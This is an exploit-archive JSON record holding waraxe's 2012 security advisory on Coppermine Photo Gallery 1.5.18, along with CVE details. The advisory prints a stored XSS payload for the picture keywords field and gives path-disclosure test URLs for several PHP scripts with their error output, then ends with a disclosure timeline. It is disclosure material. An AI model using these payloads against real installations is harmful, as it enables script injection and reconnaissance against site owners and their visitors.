{"exploit":{"id":"EDB-18680","name":"Coppermine 1.5.18 - Stored Cross-Site Scripting (XSS) / Path Disclosure","description":"Coppermine 1.5.18 - Stored Cross-Site Scripting (XSS) / Path Disclosure","cves":["CVE-2012-1614","CVE-2012-1613"],"author":"waraxe","published":"2012-03-30","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18680","path":"exploits/php/webapps/18680.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18680.txt","vulnerabilities":[{"id":"CVE-2012-1614","state":"PUBLISHED","title":null,"titleSource":null,"description":"Coppermine Photo Gallery before 1.5.20 allows remote attackers to obtain sensitive information via (1) a direct request to plugins/visiblehookpoints/index.php, an invalid (2) page or (3) cat parameter to thumbnails.php, an invalid (4) page parameter to usermgr.php, or an invalid (5) newer_than or (6) older_than parameter to search.inc.php, which reveals the installation path in an error message.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-1614","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-1614"},"updatedAt":"2024-09-17T00:20:42.627Z","retrievedAt":"2026-11-27T15:07:32.330Z","stale":false,"error":null},{"id":"CVE-2012-1613","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site scripting (XSS) vulnerability in edit_one_pic.php in Coppermine Photo Gallery before 1.5.20 allows remote authenticated users with certain privileges to inject arbitrary web script or HTML via the keywords parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-1613","cvss":{"version":"2.0","baseScore":3.5,"severity":"low","vectorString":"AV:N/AC:M/Au:S/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-1613"},"updatedAt":"2024-09-16T20:53:22.067Z","retrievedAt":"2026-11-27T15:33:28.308Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18680.png?v=2","url":"https://exploitbin.com/exploits/EDB-18680","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18680/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18680/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[waraxe-2012-SA#081] - Multiple Vulnerabilities in Coppermine 1.5.18\n==============================================================================\n\nAuthor: Janek Vind \"waraxe\"\nDate: 29. March 2012\nLocation: Estonia, Tartu\nWeb: http://www.waraxe.us/advisory-81.html\n\n\nAffected Software:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCoppermine is a multi-purpose fully-featured and integrated web picture gallery\nscript written in PHP using GD or ImageMagick as image library with a MySQL backend.\n\nhttp://coppermine-gallery.net/\n\n\nAffected versions\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nTests were conducted against Coppermine version 1.5.18.\n\n###############################################################################\n1. Stored XSS in picture keywords\n###############################################################################\n\nReason: failure to sufficiently sanitize user-supplied input data\nPreconditions: privileges needed for picture keywords editing\n\nCoppermine user with appropriate privileges is able to modify picture information:\n\nhttp://localhost/cpg1518/edit_one_pic.php?id=1&what=picture\n\nThere is a field in form named as \"Keywords (separate with semicolon)\".\nAfter insertion to database those keywords are later used in html meta section.\nIt appears, that specific user supplied data is not properly validated before\noutputting as html to the end user, resulting in Stored XSS vulnerability.\n\nTesting:\n\n1. Open picture information editing page:\n\nhttp://localhost/cpg1518/edit_one_pic.php?id=1&what=picture\n\n2. Insert XSS payload below as keywords and click \"Apply changes\":\n\n\"><body onload=javascript:alert(String.fromCharCode(88,83,83))>\n\nAfter that issue request to view this image:\n\nhttp://localhost/cpg1518/displayimage.php?pid=1\n\nAs result we can observe XSS payload execution.\n\n\n###############################################################################\n2. Path Disclosure in \"visiblehookpoints\" plugin\n###############################################################################\n\nTest:\n\nhttp://localhost/cpg1518/plugins/visiblehookpoints/index.php\n\nResult:\n\nWarning: require_once(include/init.inc.php) [function.require-once]:\nfailed to open stream: No such file or directory in\nC:\\apache_www\\cpg1518\\plugins\\visiblehookpoints\\index.php on line 22\n\nFatal error: require_once() [function.require]:\nFailed opening required 'include/init.inc.php' (include_path='.;C:\\php\\pear') in\nC:\\apache_www\\cpg1518\\plugins\\visiblehookpoints\\index.php on line 22\n\n\n###############################################################################\n3. Path Disclosure in \"thumbnails.php\"\n###############################################################################\n\nAttack vector: user submitted GET parameters \"page\" and \"cat\"\n\nTests:\n\nhttp://localhost/cpg1518/thumbnails.php?page[]\nhttp://localhost/cpg1518/thumbnails.php?cat[]\n\nResults:\n\nFatal error: Unsupported operand types in\nC:\\apache_www\\cpg1518\\include\\functions.inc.php on line 2980\n\nFatal error: Unsupported operand types in\nC:\\apache_www\\cpg1518\\thumbnails.php on line 160\n\n\n\n###############################################################################\n4. Path Disclosure in \"usermgr.php\"\n###############################################################################\n\nAttack vector: user submitted GET parameter \"page\"\nPreconditions: admin privileges needed\n\nTest:\n\nhttp://localhost/cpg1518/usermgr.php?page[]\n\nResult:\n\nFatal error: Unsupported operand types in\nC:\\apache_www\\cpg1518\\usermgr.php on line 185\n\n\n###############################################################################\n5. Path Disclosure in \"search.inc.php\"\n###############################################################################\n\nAttack vector: user submitted GET parameters \"newer_than\" and \"older_than\"\n\nTests:\n\nhttp://localhost/cpg1518/thumbnails.php?search=1&album=search&newer_than[]\nhttp://localhost/cpg1518/thumbnails.php?search=1&album=search&older_than[]\n\nResults:\n\nFatal error: Unsupported operand types in\nC:\\apache_www\\cpg1518\\include\\search.inc.php on line 106\n\nFatal error: Unsupported operand types in\nC:\\apache_www\\cpg1518\\include\\search.inc.php on line 107\n\n\nDisclosure Timeline:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n27.03.2012 Developers contacted via email\n29.03.2012 Developers released patched version 1.5.20\n29.03.2012 Public disclosure\n\n\nContact:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\ncome2waraxe@yahoo.com\nJanek Vind \"waraxe\"\n\nWaraxe forum:  http://www.waraxe.us/forums.html\nPersonal homepage: http://www.janekvind.com/\nRandom project: http://albumnow.com/\n---------------------------------- [ EOF ] ------------------------------------","sha256":"5804b7e7638de227a48ce97226acf706a03f8c14c333a6bf03d71f36924a46e6","bytes":4796,"fetchedAt":"2026-11-27T15:07:26.405Z","encoding":"utf-8 (display only; download retains original bytes)"}